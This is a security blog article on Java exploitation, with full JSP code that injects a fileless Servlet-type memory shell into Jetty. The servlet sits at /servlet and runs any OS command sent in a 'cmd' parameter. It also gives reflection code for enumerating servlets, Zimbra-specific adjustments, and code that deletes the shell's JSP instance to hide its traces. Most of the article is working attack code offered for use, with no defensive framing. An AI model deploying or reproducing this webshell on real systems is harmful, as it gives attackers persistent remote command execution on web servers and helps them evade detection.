Java Exploitation Techniques - Jetty Servlet Type Memory Shell

Onedaysec
5 min read
0 views
Java Exploitation Techniques - Jetty Servlet Type Memory Shell — One Day Sec default thumbnail

0x00 Preface

---

The previous article introduced the implementation ideas and details of the Jetty Filter type memory shell. This article introduces the implementation ideas and details of the Jetty Servlet type memory shell.

0x01 Introduction

---

This article will cover the following:

  • Implementation Ideas
  • Implementation Code
  • Servlet Type Memory Shell in Zimbra Environment

0x02 Implementation Ideas

---

Similarly, use Thread to obtain the webappclassloader, and then use reflection to call related methods to add a Servlet type memory shell.

0x03 Implementation Code

---

1. Add Servlet

The complete code available under Jetty is as follows:

<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.io.*"%>
<%
String servletName = "myServlet";
String urlPattern = "/servlet";
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : ""
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object s:servlets){
Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(s);
if(name.equals(servletName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Servlet " + servletName + " exists.
");
return;
}
out.println("[+] Add Servlet: " + servletName + "
");
out.println("[+] urlPattern: " + urlPattern + "
");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = null;
try{
servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
}catch(NoSuchMethodException e){
servletMapping = clazz.newInstance();
}
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
}
}
}
%>

2. Enumerate Servlet

(1) Enumerate Servlet by calling getServletRegistrations via the request object

The complete code available under Jetty is as follows:

<%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>

The corresponding command is: request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())

(2) Obtain webappclassloader via Thread, and enumerate Servlet by reading the _servlets attribute through reflection

The complete code available under Jetty is as follows:

<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;

for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object servlet:servlets){
out.print(servlet + "
");
}
}
}
}
%>

Note:

This method may produce multiple duplicate results in Zimbra environments

0x04 Servlet-type Memory Shell in Zimbra Environment

---

Zimbra has multiple threads named WebAppClassLoader, so when adding a Servlet, the judgment condition needs to be modified to avoid premature exit. This can be done by directly modifying the example code.

Another issue to note when testing in Zimbra environments: All executed JSP instances are marked under rctxt->jsps. The test code is as follows:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
Enumeration enu = conn4.keys();
while (enu.hasMoreElements()) {
out.println(enu.nextElement() + "
");
}
%>

Of course, we can delete the JSP instance corresponding to the memory shell through reflection. The test code is as follows:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%

Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
conn4.remove("/myServlet.jsp");
%>

Whether it's a Filter-type memory shell or a Servlet-type memory shell, deleting the JSP instance corresponding to the memory shell does not affect its normal operation.

0x05 Exploitation Approach

---

Similar to Filter-type memory shells, the advantage of Servlet-type memory shells is that they do not require writing to files, but they become ineffective upon server restart.

0x06 Summary

---

This article introduces the implementation approach and details of Jetty Servlet-type memory shells, provides testable code, and shares exploitation methods for the Zimbra environment.

Related Questions & Answers

How does the Jetty Servlet memory shell compare to the Filter type memory shell mentioned in the article's preface?

While the filter type memory shell hooks into the request filtering chain, the Servlet type memory shell registers a new servlet with a specific URL pattern (e.g., `/servlet`) that executes arbitrary commands via the `cmd` parameter. Both techniques rely on obtaining the `WebAppClassLoader` through thread inspection and using reflection to inject into Jetty's internal structures. For more context, see the related [Java Exploitation Techniques – Loading DLL via JNI](/news/java-exploitation-techniques-loading-dll-via-jni) or [Penetration Basics - Implementation of Webshell Supporting NTLM Over HTTP Protocol](/news/penetration-basics-implementation-of-webshell-supporting-ntlm-over-http-protocol) for alternative webshell approaches.

What special considerations are needed when implementing a Servlet type memory shell in a Zimbra environment?

In Zimbra, multiple threads may have a `WebAppClassLoader`, so the add-servlet logic must avoid premature exit based on the first match. The code should iterate through all threads without breaking on the first valid loader. Additionally, JSP instances in Zimbra are tracked under `rctxt->jsps`, which can affect testing. These environment-specific adjustments are discussed in the [Zimbra section of the article](/news/java-exploitation-techniques-jetty-servlet-type-memory-shell).

What are the two main methods to enumerate existing servlets in a Jetty server for memory shell placement?

First, you can call `getServletRegistrations()` through the request's `ServletContext` to list registered servlets. Second, you can traverse threads to find the `WebAppClassLoader`, access the `_servletHandler`, and directly read the `_servlets` field via reflection. Both approaches are detailed in the enumeration section of the [Jetty Servlet memory shell article](/news/java-exploitation-techniques-jetty-servlet-type-memory-shell).

How do you add a Jetty Servlet type memory shell using reflection?

The technique involves obtaining the `WebAppClassLoader` from a thread's context, then using reflection to access the `_context` and `_servletHandler` fields to get the servlet handler. Once you have the handler, you can create a new `ServletHolder` from the `Source.JAVAX_API` and add your malicious servlet along with a servlet mapping. A full code example is provided in the [Java Exploitation Techniques - Jetty Servlet Type Memory Shell](/news/java-exploitation-techniques-jetty-servlet-type-memory-shell) article.

Continue Reading